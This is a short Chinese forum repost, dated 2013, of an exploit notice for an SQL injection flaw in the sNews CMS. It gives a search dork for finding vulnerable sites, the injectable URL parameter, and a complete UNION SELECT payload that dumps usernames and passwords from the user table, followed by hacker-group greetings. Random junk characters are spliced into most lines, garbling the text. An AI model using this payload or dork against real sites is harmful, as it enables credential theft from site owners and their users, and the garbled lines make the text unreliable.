标题: CMS snews SQL Injection Vulnerability9 z. O9 q( W6 h9 K5 i& S
作者: By onestree7 T: B" [/ C6 @* r* j" i
下载地址 : http://snewscms.com/5 [6 C: K' g% _' x4 |- ^0 C. m/ B
测试平台 : ubuntu 12.10 / win 78 J0 p% B/ E2 V' S) T" |
关键词: inurl:"tanyakan pada rumput yang bergoyang"
0 H' S" i& S; W2 Q7 j9 f( V ' ]8 `/ k+ i! u, [/ J
7 H& e$ G# \9 {! V( F6 v H*************************************************************1 [+ J: A4 {, X9 a3 L. k
W. c/ c6 P$ r5 |! P& F; F. USQL poc:& O: d, _3 r& v3 ?: i2 U. Y4 r4 e
. d$ Y3 Q/ |7 o/ H! h k2 w8 xhttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
6 G/ ~9 S; f; Y3 u- [8 u: M8 O3 j ( D! k# l" T! [4 ^; J
示例
( d/ I7 i v1 R7 r4 K7 V: S
2 A! ]; q' v0 o' c! ^: z7 F6 jhttp://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
3 `& ~+ F+ E- ]( S. J6 v7 {6 S 2 Y4 {5 ^* o2 l" ]
. }3 `. f5 W- k, w致谢:
3 P% c' _2 l/ ^ 0 R! X$ |1 ]# z2 A' }4 }! E( @
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell% M2 n: R% y1 w; H! V
9 [& ^# ~' }9 F/ K2 E+ u indonesiancoder - moeslimh4x0r - go-coder& g, W$ d7 u2 o+ o
+ ^' Z9 o9 q$ @0 ], F& |5 [spesial my hunny :*
3 J+ l# `9 g- A6 K; v# m; M |
发表于 2013-1-23 08:55:06
收藏
支持
反对